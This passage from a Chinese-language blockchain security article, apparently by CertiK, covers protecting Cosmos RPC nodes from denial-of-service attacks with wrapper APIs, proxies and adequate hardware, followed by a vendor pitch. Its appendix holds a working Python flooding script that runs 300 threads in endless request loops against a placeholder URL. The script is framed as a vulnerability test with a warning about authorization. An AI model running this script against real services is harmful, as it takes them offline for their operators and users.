解决方案之一:围绕Cosmos RPC API创建一层包装API,并创建一个存储区块链数据的数据库,该数据库从节点同步区块链数据。外层的包装API向公众公开,并接收和处理用户请求,随后再将请求传递到Cosmos RPC或在后端数据库中搜索数据。添加外层API有效地防止了用户直接与节点RPC API进行交互。数据库可以防止节点被搜索查询请求所淹没,并且开发人员可以按照他们所希望的方式优化数据库。 在Cosmos论坛上,用户“kwunyeung”也提出了一种解决方案:使用HTTP代理(例如Nginx或Caddy)来保护RPC端口。总的来说想表达的观点是一致的:RPC端口不能直接向公众公开,同时还要采取保护措施。 5.符合建议的硬件要求 即使部署了上述所有防御机制,用户还是需要注意运行API服务器或例如Tendermint(详见参考链接2)这样的稳定节点对硬件的最低要求。如果服务器在处理来自普通用户访问网站所产生请求就有困难的时候,那么管理员需要考虑升级硬件了。 总结 DoS攻击可能会使诸如区块链浏览器之类的应用程序陷入崩溃,这对大部分企业来说可以称得上是致命的威胁。 CertiK专业的安全技术团队在应用程序漏洞评估,针对诸如Solidity、RUST和Go等不同语言的代码审计,以及以太坊,Cosmos和Substrate等平台的安全维护方面拥有丰富的经验和专业的安全知识。 针对包括区块链浏览器、钱包、交易所、智能合约,甚至底层区块链协议的实现在内的区块链相关业务,如需进行全面的安全审计,CertiK拥有多年的实战防护经验及最先进的形式化验证技术,将是你最值得信赖的安全专家。 附录 这是一个示例脚本,用于测试Cosmos节点是否容易受到DOS攻击。通过修改“url”变量可以测试不同的应用程序。 请不要对未经许可的应用程序运行。 import requestsimport threading import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) #Modify the url url ="https://fake.cosmos.api/txs?message.action=send&limit=100&tx.minheight=1"def dos_thread(): while(1): response = requests.request("GET", url, verify=False) print(response.text.encode()) if __name__ == "__main__": for i in range(300): t = threading.Thread(target=dos_thread) t.start() (责任编辑:admin) |